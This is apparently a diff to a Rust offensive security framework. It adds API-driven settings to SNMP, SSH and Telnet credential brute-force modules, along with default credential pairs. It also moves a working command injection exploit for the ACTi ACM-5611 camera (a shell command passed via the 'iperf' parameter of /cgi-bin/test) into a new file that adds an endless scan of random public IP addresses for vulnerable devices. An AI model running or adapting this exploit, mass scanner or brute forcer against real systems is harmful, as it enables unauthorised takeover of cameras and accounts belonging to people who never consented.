_ => println!("Invalid version. Enter '1' or '2c'."),
}
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000)? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 50 } else { prompt_int_range("Max concurrent tasks", 50, 1, 1000).unwrap_or(50) as usize }
});
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
// Output file handled by saving results at the end usually, but old code asked upfront.
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
let output_file = prompt_default("Output file", "snmp_results.txt")?;
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "snmp_results.txt".to_string() } else { prompt_default("Output file", "snmp_results.txt").unwrap_or_else(|_| "snmp_results.txt".to_string()) }
});
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let timeout_secs = if api_mode { 3 } else {
prompt_int_range("Timeout (seconds)", 3, 1, 300).unwrap_or(3) as u64
};
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
@@ -564,15 +597,30 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
async fn run_mass_scan(target: &str) -> Result<()> {
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port = prompt_int_range("SNMP Port", 161, 1, 65535)? as u16;
let communities_file = prompt_existing_file("Community string wordlist")?;
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0,
"2c" | "2" => break 1,
_ => println!("Invalid version. Enter '1' or '2c'."),
let port = config.port.unwrap_or_else(|| {
if api_mode { 161 } else { prompt_int_range("SNMP Port", 161, 1, 65535).unwrap_or(161) as u16 }
});
let communities_file = config.username_wordlist.clone().ok_or_else(|| {
anyhow!("username_wordlist (community strings) required")
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Community string wordlist") }
})?;
// In API mode, default to SNMPv2c
let snmp_version = if api_mode { 1 } else {
loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c").unwrap_or_else(|_| "2c".to_string());
match input.trim().to_lowercase().as_str() {
"1" => break 0,
"2c" | "2" => break 1,
_ => println!("Invalid version. Enter '1' or '2c'."),
}
}
};
@@ -581,13 +629,28 @@ async fn run_mass_scan(target: &str) -> Result<()> {
return Err(anyhow!("Community wordlist cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300)? as u64;
let output_file = prompt_default("Output result file", "snmp_mass_results.txt")?;
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let timeout_secs = if api_mode { 3 } else { prompt_int_range("Timeout (seconds)", 3, 1, 300).unwrap_or(3) as u64 };
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "snmp_mass_results.txt".to_string() }
else { prompt_default("Output result file", "snmp_mass_results.txt").unwrap_or_else(|_| "snmp_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let exclusions = if use_exclusions {
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
Arc::new(parse_exclusions(EXCLUDED_RANGES))
} else {
Arc::new(Vec::new())
};
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
@@ -635,7 +698,13 @@ async fn run_mass_scan(target: &str) -> Result<()> {
}
} else {
// File mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
+72 -36
View File
@@ -17,7 +17,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
normalize_target, prompt_default, prompt_yes_no,
prompt_existing_file, load_lines, get_filename_in_current_dir
prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port
};
use crate::modules::creds::utils::BruteforceStats;
@@ -45,24 +45,40 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
match input.parse() {
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
}
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("SSH Port", DEFAULT_SSH_PORT)?
};
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
// In API mode, skip default credentials question and use wordlists directly
let use_defaults = if api_mode { false } else { prompt_yes_no("Try default credentials first?", true)? };
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
Some(f.clone())
} else if api_mode {
None
} else if prompt_yes_no("Use username wordlist?", true)? {
Some(prompt_existing_file("Username wordlist")?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
Some(f.clone())
} else if api_mode {
None
} else if prompt_yes_no("Use password wordlist?", true)? {
Some(prompt_existing_file("Password wordlist")?)
} else {
None
@@ -72,44 +88,64 @@ pub async fn run(target: &str) -> Result<()> {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
let concurrency: usize = config.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else {
loop {
let input = prompt_default("Max concurrent tasks", "10").unwrap_or_else(|_| "10".to_string());
match input.parse() {
Ok(n) if n > 0 && n <= 256 => return n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
}
}
};
});
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5")?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
let max_retries: usize = if retry_on_error {
let connection_timeout: u64 = if api_mode {
10
} else {
loop {
let input = prompt_default("Max retries per attempt", "2")?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
let input = prompt_default("Connection timeout (seconds)", "5").unwrap_or_else(|_| "5".to_string());
match input.parse::<u64>() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
}
};
let retry_on_error = if api_mode { true } else { prompt_yes_no("Retry on connection errors?", true)? };
let max_retries: usize = if retry_on_error {
if api_mode { 2 } else {
loop {
let input = prompt_default("Max retries per attempt", "2").unwrap_or_else(|_| "2".to_string());
match input.parse::<usize>() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = config.save_results.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
});
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
Some(config.output_file.clone().unwrap_or_else(|| {
if api_mode { "ssh_brute_results.txt".to_string() } else { prompt_default("Output file", "ssh_brute_results.txt").unwrap_or_else(|_| "ssh_brute_results.txt".to_string()) }
}))
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every pass with every user)", false).unwrap_or(false) }
});
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
+2 -1
View File
@@ -19,6 +19,7 @@ use std::{
},
time::{Duration, Instant},
};
use crate::utils::prompt_port;
use anyhow::Context;
use tokio::{
@@ -383,7 +384,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
// Get targets
let mut targets = Vec::new();
+2 -1
View File
@@ -14,6 +14,7 @@ use std::{
net::TcpStream,
time::{Duration, Instant},
};
use crate::utils::prompt_port;
use anyhow::Context;
@@ -247,7 +248,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
+136 -17
View File
@@ -33,7 +33,7 @@ use tokio::time::{sleep, timeout};
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
prompt_existing_file, prompt_int_range
prompt_existing_file, prompt_int_range, prompt_port
};
// ============================================================
@@ -48,6 +48,14 @@ const RESPONSE_BUFFER_CAPACITY: usize = 2048;
const DEFAULT_TELNET_PORTS: &[u16] = &[23, 2323, 23231];
const TASK_WATCHDOG_TIMEOUT_SECS: u64 = 20;
// Bogon/Private/Reserved exclusion ranges for batch/subnet scanning
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
@@ -311,6 +319,15 @@ impl Statistics {
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for API-provided config - skip mode selection in API mode
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
if api_mode {
// In API mode, directly run single target bruteforce (most common use case)
return run_single_target_bruteforce_api(target, &config).await;
}
println!("Select operation mode:");
println!(" 1. Single Target Bruteforce (advanced)");
println!(" 2. Subnet Bruteforce (CIDR notation)");
@@ -334,6 +351,64 @@ pub async fn run(target: &str) -> Result<()> {
}
}
/// API mode entry for single target bruteforce - uses module config directly
async fn run_single_target_bruteforce_api(target: &str, api_config: &crate::config::ModuleConfig) -> Result<()> {
let targets = parse_single_target(target)?;
let target_primary = targets[0].clone();
// Build config from API params
let username_file = api_config.username_wordlist.clone()
.ok_or_else(|| anyhow::anyhow!("Username wordlist required for API mode"))?;
let password_file = api_config.password_wordlist.clone()
.ok_or_else(|| anyhow::anyhow!("Password wordlist required for API mode"))?;
if !std::path::Path::new(&username_file).exists() {
return Err(anyhow::anyhow!("Username wordlist not found: {}", username_file));
}
if !std::path::Path::new(&password_file).exists() {
return Err(anyhow::anyhow!("Password wordlist not found: {}", password_file));
}
let mut config = TelnetBruteforceConfig {
target: target_primary,
port: api_config.port.unwrap_or(23),
username_wordlist: username_file,
password_wordlist: Some(password_file),
output_file: api_config.output_file.clone().unwrap_or_else(|| "telnet_results.txt".to_string()),
threads: api_config.concurrency.unwrap_or(500),
delay_ms: 0,
connection_timeout: 10,
banner_read_timeout: 5,
login_prompt_timeout: 5,
password_prompt_timeout: 5,
auth_response_timeout: 5,
command_timeout: 5,
write_timeout: 5,
stop_on_success: api_config.stop_on_success.unwrap_or(true),
verbose: api_config.verbose.unwrap_or(false),
full_combo: api_config.combo_mode.unwrap_or(false),
raw_bruteforce: false,
raw_charset: String::new(),
raw_min_length: 1,
raw_max_length: 8,
append_mode: false,
pre_validate: false,
retry_on_error: true,
max_retries: 3,
login_prompts: vec!["login:".to_string(), "username:".to_string()],
password_prompts: vec!["password:".to_string(), "pass:".to_string()],
success_indicators: vec!["$".to_string(), "#".to_string(), ">".to_string()],
failure_indicators: vec!["incorrect".to_string(), "invalid".to_string(), "failed".to_string()],
login_prompts_lower: Vec::new(),
password_prompts_lower: Vec::new(),
success_indicators_lower: Vec::new(),
failure_indicators_lower: Vec::new(),
};
config.preprocess_prompts();
run_telnet_bruteforce(config).await
}
// ============================================================
// BASIC HONEYPOT DETECTION
// ============================================================
@@ -368,7 +443,7 @@ async fn run_single_target_bruteforce(target: &str, is_subnet: bool) -> Result<(
print_config_format();
println!();
let config_path = prompt_wordlist("Path to configuration file: ")?;
let config_path = prompt_existing_file("Path to configuration file: ")?;
println!("[*] Loading configuration from '{}'...", config_path);
match load_and_validate_config(&config_path, &target_primary).await {
@@ -487,6 +562,29 @@ async fn run_batch_scanner(target: &str) -> Result<()> {
println!("Loaded {} target(s)", config.targets.len());
// IP exclusion prompt
if prompt_yes_no("Exclude reserved/private IP ranges? (y/n): ", true)? {
let exclusions: Vec<ipnetwork::IpNetwork> = EXCLUDED_RANGES.iter()
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
.collect();
let before = config.targets.len();
config.targets.retain(|ip| {
if let Ok(addr) = ip.parse::<std::net::IpAddr>() {
!exclusions.iter().any(|net| net.contains(addr))
} else {
true // keep hostnames
}
});
let excluded = before - config.targets.len();
if excluded > 0 {
println!("{}", format!("[*] Excluded {} IPs from reserved/private ranges", excluded).yellow());
}
println!("{}", format!("[+] {} targets remaining after exclusion", config.targets.len()).green());
if config.targets.is_empty() {
return Err(anyhow!("No targets remaining after exclusion"));
}
}
if prompt_yes_no("Use default ports (23, 2323, 23231)? (y/n): ", true)? {
config.ports = DEFAULT_TELNET_PORTS.to_vec();
} else {
@@ -503,7 +601,7 @@ async fn run_batch_scanner(target: &str) -> Result<()> {
.map(|(u, p)| (u.to_string(), p.to_string()))
.collect();
} else {
let cred_file = prompt_wordlist("Path to credentials file (user:pass format): ")?;
let cred_file = prompt_existing_file("Path to credentials file (user:pass format): ")?;
config.credentials = load_credentials_file(&cred_file).await?;
}
@@ -540,7 +638,7 @@ async fn run_quick_check(target: &str, is_subnet: bool) -> Result<()> {
}.bold().cyan());
println!();
let targets = if is_subnet {
let mut targets = if is_subnet {
parse_single_target(target)?
} else if Path::new(target).exists() {
let content = tokio::fs::read_to_string(target).await?;
@@ -549,9 +647,26 @@ async fn run_quick_check(target: &str, is_subnet: bool) -> Result<()> {
vec![target.to_string()]
};
let port: u16 = prompt_required("Port (default 23): ")?
.parse()
.unwrap_or(23);
// Apply IP exclusion for subnet/batch modes
if targets.len() > 1 && prompt_yes_no("Exclude reserved/private IP ranges? (y/n): ", true)? {
let exclusions: Vec<ipnetwork::IpNetwork> = EXCLUDED_RANGES.iter()
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
.collect();
let before = targets.len();
targets.retain(|ip| {
if let Ok(addr) = ip.parse::<std::net::IpAddr>() {
!exclusions.iter().any(|net| net.contains(addr))
} else {
true
}
});
let excluded = before - targets.len();
if excluded > 0 {
println!("{}", format!("[*] Excluded {} IPs from reserved/private ranges", excluded).yellow());
}
}
let port: u16 = prompt_port("Port", 23)?;
let verbose = prompt_yes_no("Verbose mode? (show all attempts and details) (y/n): ", false)?;
@@ -1175,7 +1290,13 @@ async fn execute_batch_scan(config: BatchScanConfig) -> Result<()> {
let cfg = config.clone();
let task = tokio::spawn(async move {
let _permit = sem.acquire().await.expect("Batch scan semaphore closed");
let _permit = match sem.acquire().await {
Ok(permit) => permit,
Err(_) => {
eprintln!("[!] Semaphore closed, skipping target");
return Vec::new();
}
};
scan_target(target, &cfg).await
});
@@ -1999,7 +2120,7 @@ async fn build_interactive_config(target: &str) -> Result<TelnetBruteforceConfig
println!("{}", "[Interactive Configuration]".bold().green());
println!();
let port = prompt_port(23)?;
let port = prompt_port("Port", 23)?;
let threads = prompt_threads(8)?;
let delay_ms = prompt_delay(100)?;
let connection_timeout = prompt_timeout("Connection timeout (seconds, default 3): ", 3)?;
@@ -2010,13 +2131,13 @@ async fn build_interactive_config(target: &str) -> Result<TelnetBruteforceConfig
let command_timeout = prompt_timeout("Command timeout (seconds, default 3): ", 3)?;
let write_timeout = 500; // Fixed write timeout in milliseconds
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let username_wordlist = prompt_existing_file("Username wordlist file: ")?;
let raw_bruteforce = prompt_yes_no("Enable raw brute-force password generation? (y/n): ", false)?;
let password_wordlist = if raw_bruteforce {
prompt_optional_wordlist("Password wordlist (leave blank to skip): ")?
} else {
Some(prompt_wordlist("Password wordlist file: ")?)
Some(prompt_existing_file("Password wordlist file: ")?)
};
let (raw_charset, raw_min_length, raw_max_length) = if raw_bruteforce {
@@ -3050,9 +3171,7 @@ fn display_banner() {
// prompt and prompt_required are replaced by crate::utils imports/usage
// prompt_yes_no is replaced by crate::utils imports/usage
fn prompt_port(default: u16) -> Result<u16> {
Ok(prompt_int_range("Port", default as i64, 1, 65535)? as u16)
}
fn prompt_delay(default: u64) -> Result<u64> {
Ok(prompt_int_range("Delay in ms", default as i64, 0, 10000)? as u64)
@@ -3070,16 +3189,16 @@ fn prompt_retries(default: usize) -> Result<usize> {
Ok(prompt_int_range("Max retries", default as i64, 0, 10)? as usize)
}
fn prompt_wordlist(prompt_text: &str) -> Result<String> {
fn prompt_file_path(prompt_text: &str) -> Result<String> {
// Strip ": " if present to match prompt_existing_file style
let msg = prompt_text.trim_end_matches(": ").trim_end_matches(":").trim();
prompt_existing_file(msg)
crate::utils::prompt_existing_file(msg)
}
fn prompt_optional_wordlist(prompt_text: &str) -> Result<Option<String>> {
let msg = prompt_text.trim_end_matches(": ").trim_end_matches(":").trim();
if prompt_yes_no(&format!("Use {}?", msg), true)? {
Ok(Some(prompt_existing_file(msg)?))
Ok(Some(prompt_file_path(msg)?))
} else {
Ok(None)
}
+16 -1
View File
@@ -103,6 +103,9 @@ pub async fn run(target: &str) -> Result<()> {
});
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
// Random Mode
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
@@ -126,7 +129,13 @@ pub async fn run(target: &str) -> Result<()> {
} else {
// File/List Mode
// We assume 'target' is a file path since it's a "hose" module
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
if lines.is_empty() {
@@ -185,6 +194,11 @@ fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
// Ensure state file exists before running grep
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
// Grep for "checked: <ip>" in state file
let ip_s = ip.to_string();
let status = Command::new("grep")
@@ -192,6 +206,7 @@ async fn is_ip_checked(ip: &impl ToString) -> bool {
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
+1
View File
@@ -1,3 +1,4 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
pub mod utils;
pub mod camxploit;
-123
View File
@@ -1,123 +0,0 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use std::io::Write;
use reqwest::Client;
use std::time::Duration;
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Prompt for port
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut port_input = String::new();
std::io::stdin()
.read_line(&mut port_input)
.context("Failed to read port input")?;
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
std::io::stdin()
.read_line(&mut cmd_input)
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
let res = client
.get(url)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", format!("http://{}:{}", target, port))
.send()
.await?;
if res.status().is_success() {
let text = res.text().await?;
Ok(text)
} else {
Err(anyhow!("Command execution failed, status code: {}", res.status()))
}
}
/// Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.build()?;
// Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
}
Ok(false)
}
File diff suppressed because it is too large Load Diff
@@ -302,12 +302,19 @@ async fn run_mass_scan() -> Result<()> {
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let mut file = OpenOptions::new()
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&outfile_clone)
.await
.expect("Failed to open output file");
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
@@ -0,0 +1,293 @@
use anyhow::{anyhow, Result, Context};
use colored::*;
use std::io::Write;
use reqwest::Client;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use ipnetwork::IpNetwork;
use std::net::{IpAddr, Ipv4Addr};
use rand::Rng;
use chrono::Local;
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
// Bogon/Private/Reserved exclusion ranges
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
];
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip_addr;
}
}
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
let port = prompt_port("Target Port", 8080)?;
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
let outfile = Arc::new(outfile);
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
let found = Arc::new(AtomicUsize::new(0));
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
let outfile_clone = outfile.clone();
tokio::spawn(async move {
let file_result = OpenOptions::new()
.create(true)
.append(true)
.open(&*outfile_clone)
.await;
let mut file = match file_result {
Ok(f) => f,
Err(e) => {
eprintln!("[-] Failed to open output file: {}", e);
return;
}
};
while let Some(result) = rx.recv().await {
let _ = file.write_all(result.as_bytes()).await;
}
});
let c = checked.clone();
let f = found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
}
});
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
let tx = tx.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc).to_string();
if let Ok(true) = check(&ip, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
fnd.fetch_add(1, Ordering::Relaxed);
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
let _ = tx.send(log_entry);
}
chk.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
}
pub async fn run(target: &str) -> Result<()> {
